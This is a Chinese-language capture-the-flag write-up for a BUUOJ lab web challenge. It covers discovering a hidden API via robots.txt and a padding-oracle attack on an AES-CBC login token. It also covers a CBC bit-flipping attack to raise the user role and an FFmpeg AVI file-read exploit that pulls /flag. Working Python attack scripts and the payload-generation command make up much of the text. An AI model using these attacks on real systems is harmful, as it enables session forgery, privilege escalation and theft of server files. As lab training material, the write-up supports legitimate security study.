复现靶机:http://web48.buuoj.cn

考点:

  1. 敏感文件泄露(Robots.txt)
  2. Padding Oracle 明文推断 & CBC 翻转攻击
  3. FFMpeg 任意文件读取漏洞

步骤:

1.打开靶机发现是一个管理后台。

2.审计页面源码,发现其中有一个不寻常的 Meta,似乎是设置 Cookie 的。先留着。

3.扫描敏感文件,发现 robots.txt 里有内容,提供了一个地址 /swagger_ui.html。

4.打开 swagger_ui.html 看看,发现是 swagger 生成的对外暴露的 API 列表。

5.点开看看,这里有介绍 API 的具体用法。

6.点击右上角的 Try it out,可以来测试一下 API,但这里地址是内网地址,所以测试不了。

7.所以还是自己替换地址,构造一个注册请求试试吧。

8.然后到主界面尝试登录,未果,提示权限不足。

9.在登录的过程中抓包看看,发现其先请求了 /frontend/api/v1/user/login 这个地址,获得了 Token 之后,将 Token 当做 Key 放在请求头里去访问 /frontend/api/v1/user/info 获取用户信息,这里有个角色,3 代表了权限不够的普通用户。

10.我们来对刚才拿到的那段 Key 做个分析。

eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVRm1zclQ3a2FGM1FXL29vWDdVcVRpZ215TVl5MFFZK1RlSzMya3hGZW94ay9ZNnkzaG0vaEJXK2lMaXVLdnNNS1NPK1ZQQ0pGSTdPbHJTL0dsYThWWmh1Y3p2NSs4djNXckNJSE5TbVJOS2xBRjREdlI2bDBSbFVaajB6WjgzWGlBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoid2x1NUUwN1piR3pUNDVRUEhORzVReUpQT2UyNjUwalgiLCJleHBpcmVfaW4iOjE1NTY4NTM2Mzh9

推测其为 base64,将其解码后结果如下,

{"signed_key":"SUN4a1NpbmdEYW5jZVJhUFmsrT7kaF3QW/ooX7UqTigmyMYy0QY+TeK32kxFeoxk/Y6y3hm/hBW+iLiuKvsMKSO+VPCJFI7OlrS/Gla8VZhuczv5+8v3WrCIHNSmRNKlAF4DvR6l0RlUZj0zZ83XiA==","role":3,"user_id":1,"payload":"wlu5E07ZbGzT45QPHNG5QyJPOe2650jX","expire_in":1556853638}

11.再对上面解码出来的数据里的 signed_key 做个解码。

SUN4a1NpbmdEYW5jZVJhUFmsrT7kaF3QW/ooX7UqTigmyMYy0QY+TeK32kxFeoxk/Y6y3hm/hBW+iLiuKvsMKSO+VPCJFI7OlrS/Gla8VZhuczv5+8v3WrCIHNSmRNKlAF4DvR6l0RlUZj0zZ83XiA==

base64 解码之后结果如下

ICxkSingDanceRaP乱码

12.前为明文后为乱码,推测前为 IV 后为加密后的密文。推测其为 AES CBC 加密,尝试利用 Padding Oracle 攻击的方法推算其原文。脚本如下,开始测试时返回码很多的时候为 205,推测其为解密失败的返回码,将其设置为不等于 205 时即解密成功。

#!/usr/bin/python2.7
# -*- coding:utf8 -*-

import requests
import base64
import json

host = "127.0.0.1"
port = 8233

def xor(a, b):
    return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in range(len(a))])

def padoracle(key):
    user_key_decode = base64.b64decode(key)
    user_key_json_decode = json.loads(user_key_decode)

    signed_key = user_key_json_decode['signed_key']
    signed_key_decoed = base64.b64decode(signed_key)

    url = "http://" + host + ":" + str(port) + "/frontend/api/v1/user/info"

    N = 16

    total_plain = ''

    for block in range(0, int(len(signed_key) / 16) - 3):

        token = ''

        get = ""

        cipher = signed_key_decoed[16 + block * 16:32 + block * 16]

        for i in range(1, N + 1):

            for j in range(0, 256):

                token = signed_key_decoed[block * 16:16 + block * 16]

                padding = xor(get, chr(i) * (i - 1))

                c = (chr(0) * (16 - i)) + chr(j) + padding + cipher

                token = base64.b64encode(token + c)

                user_key_json_decode['signed_key'] = token
                header = {'Key': base64.b64encode(json.dumps(user_key_json_decode))}

                res = requests.get(url, headers=header)

                if res.json()['code'] != 205:
                    get = chr(j ^ i) + get

                    break

        plain = xor(get, signed_key_decoed[block * 16:16 + block * 16])

        total_plain += plain

    return total_plain

plain_text = padoracle("eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVRm1zclQ3a2FGM1FXL29vWDdVcVRpZ215TVl5MFFZK1RlSzMya3hGZW94ay9ZNnkzaG0vaEJXK2lMaXVLdnNNS1NPK1ZQQ0pGSTdPbHJTL0dsYThWWmh1Y3p2NSs4djNXckNJSE5TbVJOS2xBRjREdlI2bDBSbFVaajB6WjgzWGlBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoid2x1NUUwN1piR3pUNDVRUEhORzVReUpQT2UyNjUwalgiLCJleHBpcmVfaW4iOjE1NTY4NTM2Mzh9")
print(plain_text)

解密成功,原文如下:

{"role":3,"user_id":1,"payload":"wlu5E07ZbGzT45QPHNG5QyJPOe2650jX","expire_in":1556853638}

13.再尝试用 CBC 翻转攻击将明文里的 role 变为其他数字,比如 1 试试。在第一个区块,所以挺好操作的。同时注意我们密文里修改了,明文里的 user_role 也得修改。脚本如下。

#!/usr/bin/python2.7
# -*- coding:utf8 -*-

import requests
import base64
import json

host = "127.0.0.1"
port = 8233

def cbc_attack(key, block, origin_content, target_content):
    user_key_decode = base64.b64decode(key)
    user_key_json_decode = json.loads(user_key_decode)

    signed_key = user_key_json_decode['signed_key']
    cipher_o = base64.b64decode(signed_key)

    if block > 0:
        iv_prefix = cipher_o[:block * 16]
    else:
        iv_prefix = ''

    iv = cipher_o[block * 16:16 + block * 16]

    cipher = cipher_o[16 + block * 16:]

    iv_array = bytearray(iv)
    for i in range(0, 16):
        iv_array[i] = iv_array[i] ^ ord(origin_content[i]) ^ ord(target_content[i])

    iv = bytes(iv_array)

    user_key_json_decode['signed_key'] = base64.b64encode(iv_prefix + iv + cipher)

    return base64.b64encode(json.dumps(user_key_json_decode))

def get_user_info(key):
    r = requests.post("http://" + host + ":" + str(port) + "/frontend/api/v1/user/info", headers = {"Key": key})
    if r.json()['code'] == 100:
        print("获取成功!")
    return r.json()['data']

def modify_role_palin(key, role):
    user_key_decode = base64.b64decode(user_key)
    user_key_json_decode = json.loads(user_key_decode)
    user_key_json_decode['role'] = role
    return base64.b64encode(json.dumps(user_key_json_decode))

print("翻转 Key:")
user_key = cbc_attack("eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVRm1zclQ3a2FGM1FXL29vWDdVcVRpZ215TVl5MFFZK1RlSzMya3hGZW94ay9ZNnkzaG0vaEJXK2lMaXVLdnNNS1NPK1ZQQ0pGSTdPbHJTL0dsYThWWmh1Y3p2NSs4djNXckNJSE5TbVJOS2xBRjREdlI2bDBSbFVaajB6WjgzWGlBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoid2x1NUUwN1piR3pUNDVRUEhORzVReUpQT2UyNjUwalgiLCJleHBpcmVfaW4iOjE1NTY4NTM2Mzh9", 0, '{"role":3,"user_', '{"role":1,"user_')
user_key = modify_role_palin(user_key, 1)
print(user_key)
print("测试拉取用户信息:")
user_info = get_user_info(user_key)
print(user_info)

运行,可以看到翻转成功了,

14.再回到登录页面,将翻转后的 Key 设置成 Cookie。根据第二步审计源码的结果,Cookie 名应为 Key。

刷新一下页面,发现可以进去了。

15.然后浏览一下系统里的功能。发现音视频管理这里有个文件上传。

16.上传不同类型的文件,下载上传后靶机上的文件,比对前后的 MD5,发现其对 avi 类型的视频文件有处理。

17.推测其后端利用了 FFMpeg 对视频文件做处理,那么就尝试利用 FFMpeg 的漏洞来读取文件。这里我们使用 https://github.com/neex/ffmpeg-avi-m3u-xbin/blob/master/gen_xbin_avi.py 来生成 payload。

执行如下命令。

python3 gen_xbin_avi.py file:///flag test.avi

意思是让靶机收到这个 avi 文件之后用 FFMpeg 处理时去读取 /flag 文件。

18.上传 test.avi,再把处理后的文件下载下来。

19.播放这个视频文件,看到第一帧,里面有 /flag 的内容。

20.Flag 到手~